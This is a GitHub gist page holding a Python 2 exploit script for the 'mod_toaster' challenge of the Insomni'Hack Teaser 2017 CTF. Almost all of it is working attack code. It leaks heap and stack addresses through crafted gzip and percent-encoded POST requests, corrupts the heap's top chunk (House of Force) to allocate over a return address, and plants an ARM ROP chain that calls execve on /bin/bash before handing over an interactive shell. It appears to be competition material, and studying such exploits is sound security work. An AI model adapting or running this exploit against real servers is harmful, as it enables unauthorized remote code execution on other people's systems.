-
-
Save niklasb/5068d5b1c640ebb405a4c5daba44c22c to your computer and use it in GitHub Desktop.
exploit for 'mod_toaster' from Insomni'Hack Teaser 2017
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python2 | |
import os | |
import socket | |
import sys | |
import time | |
import urllib | |
import select | |
import struct | |
import telnetlib | |
from subprocess import * | |
TARGET = ('mod_toaster.teaser.insomnihack.ch', 80) | |
WAIT = 1 | |
DEBUG = False | |
def gzip(s): | |
p=Popen(['gzip'], stdin=PIPE, stdout=PIPE, stderr=PIPE) | |
out,_ = p.communicate(s) | |
assert len(out) | |
return out | |
def compress(s): | |
p=Popen(['compress'], stdin=PIPE, stdout=PIPE, stderr=PIPE) | |
out,_ = p.communicate(s) | |
assert len(out) | |
return out | |
def can_read(s, timeout=0): | |
x,_,_ = select.select([s], [], [], timeout) | |
return x != [] | |
def resp(): | |
res = '' | |
while can_read(s, timeout=WAIT): | |
dat = s.recv(4096) | |
if not dat: break | |
res += dat | |
if DEBUG: | |
sys.stdout.write(dat) | |
sys.stdout.flush() | |
return res | |
def interact(): | |
t = telnetlib.Telnet() | |
t.sock = s | |
t.interact() | |
def wait(): | |
''' Wait between requests to force a short read ''' | |
if DEBUG: | |
print 'Press enter to continue' | |
raw_input() | |
else: | |
time.sleep(WAIT) | |
def post(body, path='/', encoding=None, keep_alive=True, content_len=None): | |
wait() | |
req = 'POST %s HTTP/1.1\n' % path | |
if keep_alive: | |
req += 'Connection: keep-alive\n' | |
if encoding is not None: | |
req += 'Content-Encoding: %s\n' % encoding | |
if content_len is None: | |
content_len = len(body) | |
req += 'Content-Length: %d\r\n\r\n' % content_len | |
req += body | |
s.sendall(req) | |
s = socket.create_connection(TARGET) | |
# Make gzip write some pointers to the heap | |
body = gzip('X'*1024) | |
post(gzip('X'*1024), path='/debug', encoding='gzip') | |
# Cancel decode() via single % so it doesn't write terminating null-byte | |
post('%41'*108 + '%', path='/debug') | |
# Now the debug response contains a stack pointer | |
# (via uninitialized User-Agent field) and a heap pointer | |
# (some interal pointer used by zlib) | |
leak = resp() | |
content = leak.split('A'*108)[-1].split('\n</pre>')[0] | |
heap_leak, = struct.unpack('<I', content) | |
stack_leak = leak.split('user-agent: ')[1][:4] | |
stack_leak, = struct.unpack('<I', stack_leak) | |
print '[*] heap leak @ 0x%08x' % heap_leak | |
print '[*] stack leak @ 0x%08x' % stack_leak | |
# Overwrite top chunk size (House of Force) | |
post(compress('A'*1028 + '\xff\xff\xff\xff'), path='/debug', encoding='compress') | |
overflow_chunk = heap_leak + 0x6124d50 - 0x6125130 | |
top_chunk = overflow_chunk + 0x404 | |
print '[*] top chunk @ 0x%08x' % top_chunk | |
# We want to allocate over the return address of decode() | |
target = stack_leak + 0xf3063758 - 0xf306c3e4 - 0x10 | |
print '[*] target = 0x%08x' % target | |
size = (target-top_chunk)%2**32 | |
if size >= 0x80000000: | |
size -= 2**32 # because apparently scanf truncates. | |
# Split up top chunk so that the remainder is exactly at target | |
post('a', content_len=size) | |
base = target+52 # see below for where this points | |
# This is our final ROP chain, which we will write at target | |
body = 'AAAA' | |
body += struct.pack('<I', 0x7d2d9) # pop {r0, r1, r2, r4, r5, r7, pc} | |
body += struct.pack('<I', base+8) | |
body += struct.pack('<I', base) | |
body += struct.pack('<I', base+4) | |
body += 'XXXX' | |
body += 'YYYY' | |
body += struct.pack('<I', 11) # execve | |
body += struct.pack('<I', 0x5e3b4) # svc #0 | |
body += struct.pack('<I', base+8) # <- this is what base points to | |
body += struct.pack('<I', 0) | |
body += '/bin/bash\0' | |
body = urllib.quote(body) | |
body = body.ljust(200, 'A') | |
# The malloc() here will return the target buffer, and we | |
# can write our ROP chain | |
post(body) | |
resp() | |
print '[*] Enjoy your shell' | |
interact() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment